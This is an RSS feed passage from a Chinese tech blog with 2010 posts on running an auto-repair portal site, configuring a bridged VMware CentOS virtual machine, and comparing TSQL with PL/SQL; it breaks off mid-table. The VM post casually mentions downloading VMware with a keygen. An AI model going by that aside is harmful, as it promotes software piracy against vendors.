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<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>Sam的网络技术博客</title><link>http://www.it314.com/</link><description>介绍和研究搜索引擎优化、网络编程、数据库优化、系统架构等技术!</description><generator>RainbowSoft Studio Z-Blog 1.8 Arwen Build 81206</generator><language>zh-CN</language><copyright>Copyright Sam www.it314.cn. Some Rights Reserved.  备案号:粤ICP备06061950号</copyright><pubDate>Mon, 30 Aug 2010 10:41:07 +0800</pubDate><item><title>怎么样运营好一个汽车行业网站</title><author>a@b.com (liao)</author><link>http://www.it314.com/Architect/362.html</link><pubDate>Mon, 30 Aug 2010 10:25:29 +0800</pubDate><guid>http://www.it314.com/Architect/362.html</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个星期去和一个做汽车行业的总经理谈下了，关于怎么样做好一个汽修行业网站，在听他的高谈阔论后，在这我也发表下自己的意见，怎么样才能做好一个汽车行业。特别是汽修行业网站（因为销售做得太多而又做得好成熟了的我就不多讲了!）</p><p>　　汽修行业门户网站是当前最有前景的网站模式之一。要运营好一个汽修行业门户网站，我觉得首先要根据自身资源、资金(选择自己熟悉的领域，或可整合的领域，资金可承受的范围)，准确选择适当的领域开展互联网业务(也就是网站定位)，根据领域特性和互联网特性，选择或创新自己网站的盈利模式(是会员、是广告、是差价，还是其他)，再根据盈利模式确定网站的内容(内容可以是围绕网站盈利的，也可以是不能盈利，但能吸引人气的内容)，根据内容和宣传的需要制定网站的架构，选择适合的程序语言或网页风格，再根据需要制定详细的功能规划和网页设计，并根据用户的需求和网站盈利的需要，不断的调整网站内容、宣传方式和市场策略以满足用户需要，进而实现网站利益最大化的过程。网站运营就是不断调整、整合网站内外部资源，以适应网站用户需求、市场策略、盈利要求和发展战略需要的持续过程。<br /><strong>第一、网站定位</strong><br />　　作为一个行业新网站运营的关键点是定位。俗话说，男怕入错行，女怕嫁错郎。网站首先要确定的汽修行业的那一块比如配件,维修还是其它，这样，一方面通过市场细分，容易找到行业空白点。另一方面，容易形成规模，即便市场占有率不高，也够养活自己。<br /><strong>第二、营利方式</strong><br />　　网站的盈利是以内容为基础的，要用户为你的服务掏钱，你的服务必须有值得用户掏钱的地方。用户为你的服务掏钱有两种，一种是，你的服务是用户必须的，就给人饿了必须吃饭一样，必不可少，那么，用户肯定会为你的服务掏钱，如果你现在的服务还没有达到用户必须的程度，那么，你就必须营造一种文化或者潮流，让你的服务成为必须，腾讯的QQ就是一个很好的榜样。另外一种，你的服务不是用户必须的，是用户可选择的，如饭后的水果，是可有可无的，那么，你要做的就是，想办法增大用户量，降低收费门槛，这样才能广种薄收。如果量大，虽然每笔收入少，盈利也是可观的，中国的第一代网站，就是靠短信的每条几分钱收入走出寒冬的。</p><p>制定网站的盈利模式，应该遵循：<br />1)尽量将自己的服务提升到用户的必须层次。<br />2)降低进入的门槛，兼顾VIP的办法是，服务分档次。<br />3)建立尽可能多的付费渠道(银行、短信、声讯、冲值卡等)。<br />4)提供免费试用的渠道，甚至用户可以通过对网站增值的努力，能免费使用网站的全部服务的可能。<br />对于第4)点，大家可能还有一点疑惑，将在下面的网站内容建设里面进行补充。</p><p>　　网站内容是网站盈利的基础。网站内容建设要注意的是：1)网站内容的原创性。2)网站内容的权威性。3)网站内容建设的成本。4)网站内容的交互性。</p><p>　　如果要减少网站内容建设的成本，最好的办法就是，让用户参与内容的建设，Web2.0的网站在这块上做的很好，但是，这同时降低了网站内容的威权性。而作为一个汽修的行业性网站，通常的阿里巴巴模式，多是商务运用，通过严格的准入审核后，相对而言，可以降低这方面的副作用。</p><p>　　通过对会员的内容建设奖励，特别是对会员发布用户特别需要(毕竟，现在已经是买方市场，通常行业网站的采购信息，都是属于这个范围)的真实内容(注意，是真实内容，内容是否真实，网站方可根据自己行业的特点设置不同的审核机制)进行奖励，可以提高用户内容建设的积极性，同时，如果发布的用户需要的信息特别多，这对拉动其他用户加入会员是非常有好处的，可以对该用户进行会员费用减免，甚至奖励。以培养自己更多的信息来源和扩宽自己的内容建设渠道，减少内容建设成本，增加用户的参与性和提升网站的互动性。<br /><strong>第三、网站架构<br /></strong>　　所有的内容，呈现在用户的面前，都是网页，而对于网页的设计，特别是网站首页，应该遵循：<br />1)满足市场需求，将网站最重要和用户关注度最高的内容放在前面，同时，也充分的考虑了广告位。<br />2)图文并茂。图片和文字间插，相互映衬，遥相呼应。<br />3)轻重平衡。文字重，图片轻，色调冷色调其重，暖色调轻，网站页面整体保持平衡。<br />4)动静相宜。Flash，javascript特效是动的，其他内容为静止内容，相辅相得，动静相宜。<br />5)富于变化。网页给文章一样，文似看山不喜平，网页也不适宜一种框架贯穿整个页面，要富有变化，网站框架从&ldquo;三分&rdquo;式变为&ldquo;左右&rdquo;结构，又变为&ldquo;左右右&rdquo;结构，再变为&ldquo;左左右&rdquo;结构，中间以广告位间插，网页结构变化而不突兀，当然，不能为求变化而变化。<br />6)符合网页设计规律。便于网页设计表格，这样，在网速不快的情况下，下载一个表格显示一个表格，让人感觉网站打开速度快。<br />7)便于内容扩展。网页设计，除了在段与段之间可以插入其他段外，在内容上还处理了一些灵活位置，可以为网站以后可能添加的内容做好扩充准备，在不影响原有结构或进行很小的改动就能适应新内容的需要。<br />8)符合用户习惯和心理学。心理学调查显示：用户进入一个网页习惯于看左面，而右面的东西容易记住，所以，在网页内容上，左面都放一些不太重要的内容或者干脆是广告，同时，用户只有看到自己关心的内容，才会更深入的进入二级页面，所以，在设计上，频道内容在首页上都有体现。<br />9)方便用户访问。将重要的内容放在比较重要、比较醒目的位置，或者体现的面积大一些，便于用户留意，也便于用户访问，不要认为，所有的用户都有我们自己那样熟悉网站。<br />10)利于搜索引擎查询。将二级栏目放在首页上， 便于搜索引擎检索到网站，同时，由于搜索引擎的PR值是根据网页链接数量来衡量网页的重要程度，多的链接能提高网站的PR值，提高网站的搜索引擎排名位次，同时，也便于网站用户访问。</p><p>　　网页下层就是网站技术。网站技术有两方面的考量，一方面，方便实现网站规划的功能，另一方面，需要考虑长远的成本，比如，一般网页用Asp，Asp.net都是能实现功能，而且这方面的人比较多，前期开发成本低，但是，如果网站做大了，必须使用微软的数据库，正版数据库相对于前期的成本，就比较高了，用Jsp，Php开发，前期成本高，后期却可以使用免费的数据库，这需要在成本与发展之间平衡，如果你启动的成本低，生存都成问题，就不需要考虑那么远了，再说，有钱了也可以将整个网站重新写一遍，其次，安全性也是必须考虑的问题之一。</p><p><strong>第四网站运营</strong><br />　　网站本身谈完了，回头再谈谈网站的运营问题。网站运营其实在网站架构的时候，就要进行考虑，并与网站技术有机的结合在一起。比如，Gmail的邀请机制就是这样的一种运营机制。网站运营的方式很多，网上也有很多介绍，没有哪个网站有固定的运营的方式，总之一句话，就是，运用之妙，存乎一心。另外，运营的一条颠扑不破的真理就是：用户长期访问的网站，要么是最好的，要么是自己的。如果你不能做到最好，就将你的网站做成用户自己的吧，这也是Web2.0能兴起的原动力。<br /><br />　　现在能发现的汽修行业空白领域，几乎是不存在的，或多或少都有一些竞争对手，对于运营高手而言，除非线上和线下的相结合，否则市场模式都是透明的，竞争的核心不是你死我活，最好的办法是差异化经营，即便服务相同，也别今天我要你死我活的竞争，这样往往将市场做穿，大家都没有好处，彩电前几年的价格战就是如此。最好的竞争是将用户的需求供奉为上帝，一切以用户为中心，别把竞争对手当回事情，你只要抓住了用户，在竞争中，你不赢都难，所谓：心中无敌，天下无敌。</p><p>在这就谈到这,因为本人知识有限,如果你有什么好的建议欢迎留言。　　</p>]]></description><category>系统架构</category><comments>http://www.it314.com/Architect/362.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=362</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=362&amp;key=78e444ac</trackback:ping></item><item><title>打造独立IP的vm虚拟机</title><author>a@b.com (liao)</author><link>http://www.it314.com/other/361.html</link><pubDate>Sat, 14 Aug 2010 13:29:17 +0800</pubDate><guid>http://www.it314.com/other/361.html</guid><description><![CDATA[<p>最近比较忙,写这文章也有些乱,写得不好的地方请多多指教.因为本人现在都在搞.NET,服务器环境也都全都是.net但今天BOSS要搞个电子商务,因为要重新开发要的时候太多.就在SHOPEX买了套.毕竟这家东西搞了这么多年技术也还是比较成熟的(不过也出现过好多漏洞,在这不多讲!望他们做得更负责更认真点吧!),但是我的服务器没有运行PHP的环境,如果一台机搞太多环境肯定是不稳定的.在以前公司搞过.所在今天决定用虚拟机LAMP来运行这php,废话太多下面进入正题!</p><p>第一网上下载个VMware-workstation-full-7.0.0-203739.rar还下载了个vmware+workstation7.0中文+补丁+注册机.rar这样操作方便好多。马上把这两个东西装上去（不懂装网上找下教程）<br />第二．下载个（CentOS-5.5-i386-bin-DVD.iso）分配个2G内存和20G硬盘给他，马上安装系统进去。在这就不说centos怎么样安装了，因为网上太多这样的教程，随便搜下都是。安装完系统后。<br />下面讲下主要的怎么样去配这个网络，因为自己在这浪费太多时间了，所以是写这东西的目的望大家不用再在这走这么多湾路了。<br />1、在虚拟机那点编辑编者辑虚拟网络<br />2、看到一个这样的对话框选中vmnet0之后在下面选择bridged(桥接)如果多网卡在下面选择网卡。<br />3、在centos系统里面系统管理网络在这里面双击eth0在这里面输入和你主机相同网段的IP（直接问IDC商要一个就行）和网关 DNS到这OK了。这样就可以一条网线两个外网IP，直接输入IP就可以直接访问你虚拟机了。<br />4、配置你的LAMP一个自己动手打造的VPS完成！<br />这样做的好处是。你实体机可以当一台完整的服务器来用，虚拟机也可以当一台完整的服务器来用互不干扰，环境没有冲突！也可以这样装个虚机来卖钱。</p>]]></description><category>其它</category><comments>http://www.it314.com/other/361.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=361</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=361&amp;key=302ddbb1</trackback:ping></item><item><title>TSQL与PL/SQL的区别</title><author>a@b.com (liao)</author><link>http://www.it314.com/DateBase/360.html</link><pubDate>Thu, 12 Aug 2010 16:49:51 +0800</pubDate><guid>http://www.it314.com/DateBase/360.html</guid><description><![CDATA[<p>你们在转到Oralce是不是很不习惯呢,以前一直用mssql 做开发，最近的项目都Oracle,发觉区别还是很大的.下说比较下!希望你看了有帮助<br /><span>1)</span><span style="font-family: 宋体">数据类型</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>numeric(p,s)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>numeric(p,s) or NUMBER(p,s)</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>decimal(p,s)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>decimal(p,s) or NUMBER(p,s)</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>char(m)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>Char(m)</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>varchar(m)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>varchar2(m)</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>datetime</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>date</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">记录</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>Record</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">表字段</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>%type</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">表记录</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>%rowtype</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">表</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>Table</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">自动增长变量</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>AUTOINCREMENT</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 160.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="214">            <p>&nbsp;</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;<span>2)</span><span style="font-family: 宋体">变量声明、赋值与引用</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162.4pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="217">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">声明</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>declare</p>            <p>&nbsp;@ls_casher char(1),</p>            <p>&nbsp;@ln_payAmt decimal(14,4)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="217">            <p>declare</p>            <p>&nbsp;on_hand&nbsp;INTEGER;</p>            <p>&nbsp;ls_casher char(1);</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">赋值</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>select @ls_casher = 'A'</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="217">            <p>ls_casher:=&rsquo;A&rsquo;;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">引用</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>if @ ls_casher = 'A'</p>            <p>&hellip;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="217">            <p>if ls_casher = 'A' then</p>            <p>&hellip;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">在</span>SQL<span style="font-family: 宋体">语句中赋值</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>SELECT @ls_casher=sal FROM emp WHERE empno = emp_id;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="217">            <p>SELECT sal INTO ls_casher FROM emp WHERE empno = emp_id;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">在</span>SQL<span style="font-family: 宋体">语句中引用</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>SELECT * FROM emp WHERE sal = @ls_casher;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="217">            <p>SELECT * FROM emp WHERE sal = ls_casher;</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;</p><p style="text-indent: -9pt; margin-left: 9pt"><span>3)</span><span style="font-family: 宋体">函数与操作符</span><br /><span style="font-family: 宋体">字符串</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">连接</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>+</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>||</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>TRIM</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>LTRIM<span style="font-family: 宋体">、</span>RTRIM</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>SUBSTRING</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>SUBSTR<span style="font-family: 宋体">、</span>SUBSTRB</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td 